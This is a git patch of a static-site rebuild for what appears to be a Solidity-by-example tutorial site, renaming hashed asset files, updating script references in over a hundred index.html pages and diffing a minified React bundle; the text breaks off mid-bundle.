From 0d13b08067faa7e3b5c4f34a1df84a2cfcc4f51c Mon Sep 17 00:00:00 2001 From: t4sk Date: Sun, 12 May 2024 15:11:10 +0900 Subject: [PATCH] Updates --- 404.html | 4 +- abi-decode/index.html | 4 +- abi-encode/index.html | 4 +- app/assembly-bin-exp/index.html | 4 +- app/bi-directional-payment-channel/index.html | 4 +- app/create2/index.html | 4 +- app/crowd-fund/index.html | 4 +- app/deploy-any-contract/index.html | 4 +- app/dutch-auction/index.html | 4 +- app/english-auction/index.html | 4 +- app/erc1155/index.html | 4 +- app/erc20/index.html | 4 +- app/erc721/index.html | 4 +- app/ether-wallet/index.html | 4 +- app/gasless-token-transfer/index.html | 4 +- app/iterable-mapping/index.html | 4 +- app/merkle-tree/index.html | 4 +- app/minimal-proxy/index.html | 4 +- app/multi-call/index.html | 4 +- app/multi-delegatecall/index.html | 4 +- app/multi-sig-wallet/index.html | 4 +- app/simple-bytecode-contract/index.html | 4 +- app/time-lock/index.html | 4 +- .../index.html | 4 +- app/upgradeable-proxy/index.html | 4 +- app/write-to-any-slot/index.html | 4 +- array/index.html | 4 +- assembly-error/index.html | 4 +- assembly-if/index.html | 4 +- assembly-loop/index.html | 4 +- assembly-math/index.html | 4 +- assembly-variable/index.html | 4 +- ...cord-akqDA9xj.png => discord-BqSoMD3G.png} | Bin ...{index-kX5Eg0dF.css => index-CRfkSDR0.css} | 0 .../{index-fo9ufR1Y.js => index-c8uSEX4g.js} | 266 +++++++++--------- ...ram-zGrx4xca.png => telegram-DMavHjFx.png} | Bin bitwise/index.html | 4 +- call/index.html | 4 +- calling-contract/index.html | 4 +- constants/index.html | 4 +- constructor/index.html | 4 +- data-locations/index.html | 4 +- defi/chainlink-price-oracle/index.html | 4 +- defi/constant-product-amm/index.html | 4 +- defi/constant-sum-amm/index.html | 4 +- defi/dai-proxy/index.html | 4 +- defi/discrete-staking-rewards/index.html | 4 +- defi/stable-swap-amm/index.html | 4 +- defi/staking-rewards/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2-flash-swap/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2/index.html | 4 +- defi/uniswap-v3-flash-swap/index.html | 4 +- defi/uniswap-v3-flash/index.html | 4 +- defi/uniswap-v3-liquidity/index.html | 4 +- defi/uniswap-v3-swap/index.html | 4 +- defi/vault/index.html | 4 +- delegatecall/index.html | 4 +- enum/index.html | 4 +- error/index.html | 4 +- ether-units/index.html | 4 +- events/index.html | 4 +- evm/memory/index.html | 4 +- evm/storage/index.html | 4 +- fallback/index.html | 4 +- first-app/index.html | 4 +- function-modifier/index.html | 4 +- function-selector/index.html | 4 +- function/index.html | 4 +- gas-golf/index.html | 4 +- gas/index.html | 4 +- hacks/accessing-private-data/index.html | 4 +- hacks/block-timestamp-manipulation/index.html | 4 +- hacks/contract-size/index.html | 4 +- hacks/delegatecall/index.html | 4 +- hacks/denial-of-service/index.html | 4 +- .../index.html | 4 +- hacks/front-running/index.html | 4 +- .../index.html | 4 +- hacks/honeypot/index.html | 4 +- hacks/overflow/index.html | 4 +- hacks/phishing-with-tx-origin/index.html | 4 +- hacks/randomness/index.html | 4 +- hacks/re-entrancy/index.html | 4 +- hacks/self-destruct/index.html | 4 +- hacks/signature-replay/index.html | 4 +- hacks/vault-inflation/index.html | 4 +- hacks/weth-permit/index.html | 4 +- hashing/index.html | 4 +- hello-world/index.html | 4 +- if-else/index.html | 4 +- immutable/index.html | 4 +- import/index.html | 4 +- index.html | 4 +- inheritance/index.html | 4 +- interface/index.html | 4 +- library/index.html | 4 +- loop/index.html | 4 +- mapping/index.html | 4 +- new-contract/index.html | 4 +- payable/index.html | 4 +- primitives/index.html | 4 +- sending-ether/index.html | 4 +- .../index.html | 4 +- signature/index.html | 4 +- state-variables/index.html | 4 +- structs/index.html | 4 +- super/index.html | 4 +- tests/echidna/index.html | 4 +- transient-storage/index.html | 4 +- try-catch/index.html | 4 +- unchecked-math/index.html | 4 +- variables/index.html | 4 +- view-and-pure-functions/index.html | 4 +- visibility/index.html | 4 +- 116 files changed, 357 insertions(+), 357 deletions(-) rename assets/{discord-akqDA9xj.png => discord-BqSoMD3G.png} (100%) rename assets/{index-kX5Eg0dF.css => index-CRfkSDR0.css} (100%) rename assets/{index-fo9ufR1Y.js => index-c8uSEX4g.js} (94%) rename assets/{telegram-zGrx4xca.png => telegram-DMavHjFx.png} (100%) diff --git a/404.html b/404.html index e22950008..addbfd057 100644 --- a/404.html +++ b/404.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-decode/index.html b/abi-decode/index.html index e22950008..addbfd057 100644 --- a/abi-decode/index.html +++ b/abi-decode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-encode/index.html b/abi-encode/index.html index e22950008..addbfd057 100644 --- a/abi-encode/index.html +++ b/abi-encode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/assembly-bin-exp/index.html b/app/assembly-bin-exp/index.html index e22950008..addbfd057 100644 --- a/app/assembly-bin-exp/index.html +++ b/app/assembly-bin-exp/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/bi-directional-payment-channel/index.html b/app/bi-directional-payment-channel/index.html index e22950008..addbfd057 100644 --- a/app/bi-directional-payment-channel/index.html +++ b/app/bi-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/create2/index.html b/app/create2/index.html index e22950008..addbfd057 100644 --- a/app/create2/index.html +++ b/app/create2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/crowd-fund/index.html b/app/crowd-fund/index.html index e22950008..addbfd057 100644 --- a/app/crowd-fund/index.html +++ b/app/crowd-fund/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/deploy-any-contract/index.html b/app/deploy-any-contract/index.html index e22950008..addbfd057 100644 --- a/app/deploy-any-contract/index.html +++ b/app/deploy-any-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/dutch-auction/index.html b/app/dutch-auction/index.html index e22950008..addbfd057 100644 --- a/app/dutch-auction/index.html +++ b/app/dutch-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/english-auction/index.html b/app/english-auction/index.html index e22950008..addbfd057 100644 --- a/app/english-auction/index.html +++ b/app/english-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc1155/index.html b/app/erc1155/index.html index e22950008..addbfd057 100644 --- a/app/erc1155/index.html +++ b/app/erc1155/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc20/index.html b/app/erc20/index.html index e22950008..addbfd057 100644 --- a/app/erc20/index.html +++ b/app/erc20/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc721/index.html b/app/erc721/index.html index e22950008..addbfd057 100644 --- a/app/erc721/index.html +++ b/app/erc721/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/ether-wallet/index.html b/app/ether-wallet/index.html index e22950008..addbfd057 100644 --- a/app/ether-wallet/index.html +++ b/app/ether-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/gasless-token-transfer/index.html b/app/gasless-token-transfer/index.html index e22950008..addbfd057 100644 --- a/app/gasless-token-transfer/index.html +++ b/app/gasless-token-transfer/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/iterable-mapping/index.html b/app/iterable-mapping/index.html index e22950008..addbfd057 100644 --- a/app/iterable-mapping/index.html +++ b/app/iterable-mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/merkle-tree/index.html b/app/merkle-tree/index.html index e22950008..addbfd057 100644 --- a/app/merkle-tree/index.html +++ b/app/merkle-tree/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/minimal-proxy/index.html b/app/minimal-proxy/index.html index e22950008..addbfd057 100644 --- a/app/minimal-proxy/index.html +++ b/app/minimal-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-call/index.html b/app/multi-call/index.html index e22950008..addbfd057 100644 --- a/app/multi-call/index.html +++ b/app/multi-call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-delegatecall/index.html b/app/multi-delegatecall/index.html index e22950008..addbfd057 100644 --- a/app/multi-delegatecall/index.html +++ b/app/multi-delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-sig-wallet/index.html b/app/multi-sig-wallet/index.html index e22950008..addbfd057 100644 --- a/app/multi-sig-wallet/index.html +++ b/app/multi-sig-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/simple-bytecode-contract/index.html b/app/simple-bytecode-contract/index.html index e22950008..addbfd057 100644 --- a/app/simple-bytecode-contract/index.html +++ b/app/simple-bytecode-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/time-lock/index.html b/app/time-lock/index.html index e22950008..addbfd057 100644 --- a/app/time-lock/index.html +++ b/app/time-lock/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/uni-directional-payment-channel/index.html b/app/uni-directional-payment-channel/index.html index e22950008..addbfd057 100644 --- a/app/uni-directional-payment-channel/index.html +++ b/app/uni-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/upgradeable-proxy/index.html b/app/upgradeable-proxy/index.html index e22950008..addbfd057 100644 --- a/app/upgradeable-proxy/index.html +++ b/app/upgradeable-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/write-to-any-slot/index.html b/app/write-to-any-slot/index.html index e22950008..addbfd057 100644 --- a/app/write-to-any-slot/index.html +++ b/app/write-to-any-slot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/array/index.html b/array/index.html index e22950008..addbfd057 100644 --- a/array/index.html +++ b/array/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-error/index.html b/assembly-error/index.html index e22950008..addbfd057 100644 --- a/assembly-error/index.html +++ b/assembly-error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-if/index.html b/assembly-if/index.html index e22950008..addbfd057 100644 --- a/assembly-if/index.html +++ b/assembly-if/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-loop/index.html b/assembly-loop/index.html index e22950008..addbfd057 100644 --- a/assembly-loop/index.html +++ b/assembly-loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-math/index.html b/assembly-math/index.html index e22950008..addbfd057 100644 --- a/assembly-math/index.html +++ b/assembly-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-variable/index.html b/assembly-variable/index.html index e22950008..addbfd057 100644 --- a/assembly-variable/index.html +++ b/assembly-variable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assets/discord-akqDA9xj.png b/assets/discord-BqSoMD3G.png similarity index 100% rename from assets/discord-akqDA9xj.png rename to assets/discord-BqSoMD3G.png diff --git a/assets/index-kX5Eg0dF.css b/assets/index-CRfkSDR0.css similarity index 100% rename from assets/index-kX5Eg0dF.css rename to assets/index-CRfkSDR0.css diff --git a/assets/index-fo9ufR1Y.js b/assets/index-c8uSEX4g.js similarity index 94% rename from assets/index-fo9ufR1Y.js rename to assets/index-c8uSEX4g.js index d7d51c1f2..f3fc0affa 100644 --- a/assets/index-fo9ufR1Y.js +++ b/assets/index-c8uSEX4g.js @@ -1,4 +1,4 @@ -function yg(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var Il=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Ko(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var Mo={exports:{}},jp={},So={exports:{}},v={};/** +function yg(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var Il=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Fo(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var Ko={exports:{}},jp={},Mo={exports:{}},v={};/** * @license React * react.production.min.js * @@ -6,7 +6,7 @@ function yg(s,a){for(var n=0;n>>1,$=f[T];if(0>>1;Tp(Mp,X))ka<$&&0>p(hl,Mp)?(f[T]=hl,f[ka]=X,T=ka):(f[T]=Mp,f[wa]=X,T=wa);else if(ka<$&&0>p(hl,X))f[T]=hl,f[ka]=X,T=ka;else break s}}return R}function p(f,R){var X=f.sortIndex-R.sortIndex;return X!==0?X:f.id-R.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],I=1,d=null,j=3,A=!1,m=!1,b=!1,B=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(f){for(var R=n(i);R!==null;){if(R.callback===null)l(i);else if(R.startTime<=f)l(i),R.sortIndex=R.expirationTime,a(o,R);else break;R=n(i)}}function y(f){if(b=!1,C(f),!m)if(n(o)!==null)m=!0,Fp(Z);else{var R=n(i);R!==null&&Kp(y,R.startTime-f)}}function Z(f,R){m=!1,b&&(b=!1,h(Y),Y=-1),A=!0;var X=j;try{for(C(R),d=n(o);d!==null&&(!(d.expirationTime>R)||f&&!Rs());){var T=d.callback;if(typeof T=="function"){d.callback=null,j=d.priorityLevel;var $=T(d.expirationTime<=R);R=s.unstable_now(),typeof $=="function"?d.callback=$:d===n(o)&&l(o),C(R)}else l(o);d=n(o)}if(d!==null)var gl=!0;else{var wa=n(i);wa!==null&&Kp(y,wa.startTime-R),gl=!1}return gl}finally{d=null,j=X,A=!1}}var k=!1,G=null,Y=-1,x=5,N=-1;function Rs(){return!(s.unstable_now()-Nf||125T?(f.sortIndex=X,a(i,f),n(o)===null&&f===n(i)&&(b?(h(Y),Y=-1):b=!0,Kp(y,X-T))):(f.sortIndex=$,a(o,f),m||A||(m=!0,Fp(Z))),f},s.unstable_shouldYield=Rs,s.unstable_wrapCallback=function(f){var R=j;return function(){var X=j;j=R;try{return f.apply(this,arguments)}finally{j=X}}}})(Po);Oo.exports=Po;var zg=Oo.exports;/** + */(function(s){function a(f,R){var X=f.length;f.push(R);s:for(;0>>1,$=f[T];if(0>>1;Tp(Mp,X))ka<$&&0>p(hl,Mp)?(f[T]=hl,f[ka]=X,T=ka):(f[T]=Mp,f[wa]=X,T=wa);else if(ka<$&&0>p(hl,X))f[T]=hl,f[ka]=X,T=ka;else break s}}return R}function p(f,R){var X=f.sortIndex-R.sortIndex;return X!==0?X:f.id-R.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],I=1,d=null,j=3,u=!1,m=!1,b=!1,Z=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(f){for(var R=n(i);R!==null;){if(R.callback===null)l(i);else if(R.startTime<=f)l(i),R.sortIndex=R.expirationTime,a(o,R);else break;R=n(i)}}function y(f){if(b=!1,C(f),!m)if(n(o)!==null)m=!0,Fp(W);else{var R=n(i);R!==null&&Kp(y,R.startTime-f)}}function W(f,R){m=!1,b&&(b=!1,h(Y),Y=-1),u=!0;var X=j;try{for(C(R),d=n(o);d!==null&&(!(d.expirationTime>R)||f&&!Rs());){var T=d.callback;if(typeof T=="function"){d.callback=null,j=d.priorityLevel;var $=T(d.expirationTime<=R);R=s.unstable_now(),typeof $=="function"?d.callback=$:d===n(o)&&l(o),C(R)}else l(o);d=n(o)}if(d!==null)var gl=!0;else{var wa=n(i);wa!==null&&Kp(y,wa.startTime-R),gl=!1}return gl}finally{d=null,j=X,u=!1}}var k=!1,G=null,Y=-1,x=5,N=-1;function Rs(){return!(s.unstable_now()-Nf||125T?(f.sortIndex=X,a(i,f),n(o)===null&&f===n(i)&&(b?(h(Y),Y=-1):b=!0,Kp(y,X-T))):(f.sortIndex=$,a(o,f),m||u||(m=!0,Fp(W))),f},s.unstable_shouldYield=Rs,s.unstable_wrapCallback=function(f){var R=j;return function(){var X=j;j=R;try{return f.apply(this,arguments)}finally{j=X}}}})(Oo);Lo.exports=Oo;var zg=Lo.exports;/** * @license React * react-dom.production.min.js * @@ -30,15 +30,15 @@ function yg(s,a){for(var n=0;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,Dg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,It={},dt={};function Eg(s){return Ce.call(dt,s)?!0:Ce.call(It,s)?!1:Dg.test(s)?dt[s]=!0:(It[s]=!0,!1)}function Qg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Tg(s,a,n,l){if(a===null||typeof a>"u"||Qg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var Cc=/[\-:]([a-z])/g;function jc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function uc(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,Dg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,ht={},It={};function Eg(s){return Ce.call(It,s)?!0:Ce.call(ht,s)?!1:Dg.test(s)?It[s]=!0:(ht[s]=!0,!1)}function Qg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Tg(s,a,n,l){if(a===null||typeof a>"u"||Qg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var Cc=/[\-:]([a-z])/g;function jc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function Ac(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2t||p[c]!==e[t]){var o=` -`+p[c].replace(" at new "," at ");return s.displayName&&o.includes("")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?Vn(s):""}function Ug(s){switch(s.tag){case 5:return Vn(s.type);case 16:return Vn("Lazy");case 13:return Vn("Suspense");case 19:return Vn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case Ac:return"StrictMode";case ue:return"Suspense";case Ae:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case yc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case mc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function _g(s){var a=s.type;switch(s.tag){case 